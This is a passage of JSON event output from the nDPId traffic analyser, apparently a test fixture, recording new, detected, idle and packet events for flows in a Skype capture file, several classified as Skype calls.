+00469{"flow_id":203,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1187,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970680,"pkt_ts_usec":899172,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKn9sAAEARV1TAqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00468{"flow_id":204,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1188,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970680,"pkt_ts_usec":899366,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKCR0AAEAR7hLAqAEiwKgBAftsADUANoJ0c24BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAABwAAQ=="} +00512{"flow_id":192,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1189,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970680,"pkt_ts_usec":982950,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABpt85AAEAGOCbAqAEinTfrmMhKAbuh9dMOzkYJiIAYECyTjgAAAQEICj4yOuxMXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1190,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.43","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":207,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1190,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":5016,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2XQAAEARDgvAqAEinTg0KzLdnEYALMh9e7MC2jL0tZM0Yzvr0KHAzi3oveeicB3qmta1c4OVExZFkpM\/"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1190,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.43","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1191,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":208,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1191,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":5017,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1sl0AAEARTKHAqAEib91KEjLdgQkAIR6we7UCnzLS60tunXakNuMsocCUgSoxAT5iGw=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1191,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1192,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":209,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1192,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":5017,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/HVAAAEARe03AqAEiQTffDzLdnF4AK6Bke7cC41QXoMCqTrFc3jjyFt76m6sxlqO9wK+EPcEKNtA\/tkI="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1192,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00520{"flow_id":159,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1193,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":249913,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwHH1AAEAG017AqAEinTfrqsg9AbvoZ1rM+umGlIAYECweUgAAAQEICj4yO\/ZMVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00469{"flow_id":178,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1194,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":303889,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABM2ZVAAEAG5VzAqAEib91KEshEAbuPHWXUImhLeYAYECwUdwAAAQEICj4yPCtNdq638u7zvxiLk1N\/bk90UuwO7GFozw5RA+4e"} +00450{"flow_id":175,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":446130,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8cPtAAEAGTgfAqAEib91KEshDnFkB\/oa5lZep1YAYECgohwAAAQEICj4yPLlNdq00xUaEJw2DyPo="} +00487{"flow_id":157,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":458305,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWiKdAAEAGMsXAqAEib91Njsg7Abv27otpEKH0yoAYECzTSAAAAQEICj4yPMVNkBZ5b6tnM5g+MIH9ugWQ4EK6dUZuKY7n+8BcqJBKLNao313kcQ=="} +00492{"flow_id":186,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1197,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":539485,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABatu1AAEAGOG\/AqAEi1cezr8hHAbtzmW+D0lUdQ4AYECyskQAAAQEICj4yPRZO3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00469{"flow_id":203,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1198,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":909608,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKnmgAAEARWMfAqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00468{"flow_id":204,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1199,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":909798,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKbIIAAEARiq3AqAEiwKgBAftsADUANoJ0c24BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAABwAAQ=="} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1200,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1431970681960,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.144","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":210,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1200,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":960901,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3frUAAEARsN7AqAEi1cezkDLdnEkAIwRMe7kCZypNkc74yL7GF7GC5QinylqI\/WPnVsk+"} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1200,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1431970681960,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.144","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1201,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1431970681960,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.40","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":211,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1201,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970681,"pkt_ts_usec":960902,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBaTkAAEARlaPAqAEib91KKDLdnFkALS1Je7sCEGG8jv3asKVduW1KlINShpl5CYZ6daDh4AHUflFCiwcMag=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1201,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1431970681960,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.40","src_port":13021,"dst_port":40025,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":146,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1202,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":15869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0dXdAAEAG47zAqAEinTeCjsg3nEXoG0gMyGJx5oARECo0XgAAAQEICj4yPvJOwLXQ"} +00436{"flow_id":158,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":15970,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0HVdAAEAGO93AqAEinTeCjsg8AbsAEWrXQyFuW4ARECwbXAAAAQEICj4yPvJOwLdi"} +00436{"flow_id":147,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1204,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":16048,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0hSdAAEAGNmfAqAEib91Njsg4nE30S7wxxRcMPYARECkhZwAAAQEICj4yPvJNkBTp"} +00436{"flow_id":157,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1205,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":16096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0btdAAEAGTLfAqAEib91Njsg7Abv27ouLEKH0yoARECy0TwAAAQEICj4yPvJNkBZ5"} +00437{"flow_id":148,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1206,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":16158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0z29AAEAGIKjAqAEinTfrqsg5nGDRQCM1GayygYARECi9OQAAAQEICj4yPvJMVm\/1"} +00436{"flow_id":159,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1207,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":16340,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0w+RAAEAGLDPAqAEinTfrqsg9AbvoZ1sI+umGlIARECxR9wAAAQEICj4yPvJMVnGK"} +00437{"flow_id":149,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":16340,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0YS1AAEAGjlTAqAEi1cezsMg6nFWOWkftXYl5QIARECq\/bgAAAQEICj4yPvJO3n48"} +00438{"flow_id":160,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1209,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":16403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0JHdAAEAGywrAqAEi1cezsMg+AbsskrtygA\/xNYARECysNQAAAQEICj4yPvJO3n\/R"} +00450{"flow_id":179,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1210,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":253996,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8VxNAAEAGmGfAqAEi1cezr8hFnF3LCMHILu+4HYAYECr\/kwAAAQEICj4yP99O3xkb8jl+H1rFkgE="} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.43","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1431970679995,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.29","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1431970679027,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1431970678945,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1431970679028,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1431970678946,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1431970672329,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.219","dst_ip":"233.89.188.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1431970672959,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1431970672959,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.158","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.170","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1431970681960,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.40","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.43","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.24","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1431970681005,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 